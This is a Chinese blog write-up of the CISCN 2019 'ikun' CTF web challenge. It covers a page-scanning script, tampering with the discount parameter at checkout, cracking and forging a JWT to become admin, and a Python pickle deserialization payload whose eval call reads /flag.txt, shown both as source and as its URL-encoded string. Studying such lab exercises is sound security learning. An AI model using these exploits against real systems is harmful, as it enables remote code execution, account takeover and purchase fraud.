首页 > 其他分享 >[CISCN2019 华北赛区 Day1 Web2]ikun 1

[CISCN2019 华北赛区 Day1 Web2]ikun 1

时间:2024-07-20 23:54:11浏览次数:19  
标签:ikun Python self jwt urllib Day1 Web2 序列化 pickle

目录

题目分析

先注册账号,然后登录在这里插入图片描述
目标是买到lv6,page参数代表不同页面
写个脚本寻找存在lv6的页面

import requests
url = 'http://48741e8e-30ab-4b63-a3a0-be94862b2280.node5.buuoj.cn:81/shop?page='

for i in range(500):
    u = url + str(i);
    try:
        response = requests.get(u)
        if 'lv6.png' in response.text:
            print(i)
            break
    except:
        pass

在这里插入图片描述点击结算,抓包
在这里插入图片描述
改discount参数,即可买到lv6在这里插入图片描述
访问:/b1g_m4mber,显示只有admin用户可以访问在这里插入图片描述
抓包,存在jwt在这里插入图片描述

jwt

jwt介绍

JSON Web Token(JSON Web 令牌)是一种跨域验证身份的方案。JWT 不加密传输的数据,但能够通 过数字签名来验证数据未被篡改
JWT 分为三部分,头部(Header),声明(Claims),签名(Signature),三个部分以英文句号.隔开。 JWT 的内容以 Base64URL 进行了编码。

jwt伪造

首先将抓到的jwt放到
jwt网站
看一下这个jwt的内容
在这里插入图片描述
root是我们最开始注册的用户名,我们需要将它改为admin,并且伪造签名
伪造签名需要获得令牌
我们使用工具:c-jwt-cracker-master
工具下载地址
在这里插入图片描述
得到key:1Kun
改用户名为admin,输入key值在这里插入图片描述
将jwt替换后,得到一个网址,访问后下载到源码在这里插入图片描述

pickle

根据提示,审计Admin文件

import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')

    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

pickle.loads()

pickle.loads() 是 Python 中用于从序列化的字节流(serialized bytes)中加载对象的函数。它接受一个包含序列化对象数据的字节对象,并返回原始的 Python 对象。

具体来说,pickle.loads() 将字节流反序列化为原始对象,使得我们可以从文件、网络传输中接收的数据中重新构建出 Python 对象。

pickle.dumps()

pickle.dumps() 是 Python 中用于将对象序列化(pickle)为字节流的函数。它接受一个 Python 对象作为输入,并返回该对象序列化后的字节表示。

具体来说,pickle.dumps() 将一个 Python 对象转换为一个包含其序列化后数据的 bytes 对象,这样可以将其存储到文件、通过网络传输或者在程序内部进行保存和加载

urllib.unquote()

urllib.quote() 是 Python 2 中的一个函数,用于对字符串进行 URL 编码(percent encoding)。它被用来将字符串中的特殊字符转换成符合 URL 格式的形式,以便在 URL 中进行安全传输或显示。

Python反序列化

import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a

得到become的值:

c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.

替换后得到flag在这里插入图片描述

标签:ikun,Python,self,jwt,urllib,Day1,Web2,序列化,pickle
From: https://blog.csdn.net/ubaichu/article/details/140579236

相关文章

  • DAY10
    循环结构while循环do..while循环for循环在Java5中引入了一种主要用于数组的增强型for循环while循环while是最基本的循环,它的结构为:只要布尔表达式为true,循环就会一直执行下去我们大多数情况是会让循环停止下来的,我们需要一个让表达方失效的方式来结束循环少部......
  • 攻防世界web2(新手模式)
    一、web21.基本知识点strrev():反转字符串str_rot13():用于字符串加密和解密的函数,它实现了ROT13算法。ROT13(rotateby13places)是一种简单的字母替换加密算法,它将字母表中的每个字母替换为其后第13个字母。由于字母表有26个字母,所以再次应用ROT13会恢复原始字符串,因此它......
  • day16-binary tree-part04-7.18
    tasksfortoday1.513找树左下角值2.112路径总和3.106从中序与后序遍历序列构造二叉树-------------------------------------------------------------------------------1.513找树左下角值ThispracticeissuitablefortheBFS(layertraverse),recordeach......
  • 蓝桥杯单片学习总结(Day12 串口通讯实验)
    实验现象:        通过串口调试助手发送数字1~8,板子上面的对应指示灯亮。注意此处发送应选择文本模式发送。 实例代码:#include<STC15F2K60S2.H>#defineBUAD 9600//所需波特率、#defineSYSTEMCLOCK 11059200L//系统时钟频率,L表示该数据为长整型voiduart_......
  • 代码随想录算法训练营Day13 | 二叉树理论基础 二叉树的递归遍历 前序、中序、后序遍历
    一、二叉树理论基础1. 二叉树种类①满二叉树:顾名思义就是结点都满的二叉树。定义:如果一棵二叉树只有度为0的结点和度为2的结点,并且度为0的结点在同一层上,则这棵二叉树为满二叉树。     深度为k,结点数为2^k-1的二叉树②完全二叉树:最后一层可以不满,但最后一层从左......
  • 牛客day1的补题和总结
    C和I是签到题,没什么好说的。从A开始。A读题读了我20分钟,我才把样例弄懂。。这题目比cf阴间一佰倍,主要也是这类题的题面就是麻烦,有时候中文的题面的也能让我写一半回去再读几遍。这个主要就是写太慢了。完全可以更快的,而且这个思路我觉得大部分其实是lhgg帮我出的,我自己的思路......
  • day1 二分查找(及其进阶)和移除元素的双指针法
    基础概念算法的单调性:问题的规模随着算法的推进不断缩减(如704中开始的查找区间是[lo,hi),随着循环的进行,问题规模确实在不断的缩小)算法的不变性:在初始状态下自然满足,当问题的有效规模缩减为0时,不变性应该随即等于正确性。(如704中开始的查找区间是[lo,hi),最终要么直接命中,要么......
  • 实训day1
    JDK安装环境变量配置JAVA_HOMEC:\ProgramFiles\Java\jdk-21Path添加%JAVA_HOME%\bin几个插件代码样式主题相关:AtomMaterialIconsOneDarkTheme建项目->建包->建子包->建类,写代码包package区分、管理类,项目分割成不同的模块pan.baidu.comtieba.baidu.comwww.baidu......
  • 2024信友队蓝润暑期集训提高1班②Day1
    知识总结原理:每一步都采取局部最优解,取到最终的最优解。常见时间复杂度$O(n)$或$O(nlog(n))$后者一般带排序。用法:通过数据规模和题目信息联想贪心算法常见时间复杂度猜测结论验证合理性​-归纳法​-反证法(相邻交换法):如果交换方案中相邻的两个元素/任意......
  • android学习day1
    1.android系统框架android大致可分为四层架构:linux内核层,系统运行库层,应用框架层和应用层1.1linux内核层为android设备的各种硬件提供底层驱动,如显示驱动,音频驱动,wifi驱动,电源管理等。1.2系统运行库层通过一些c/c++库为android系统提供了主要的特性支持,如SQLite库提供数......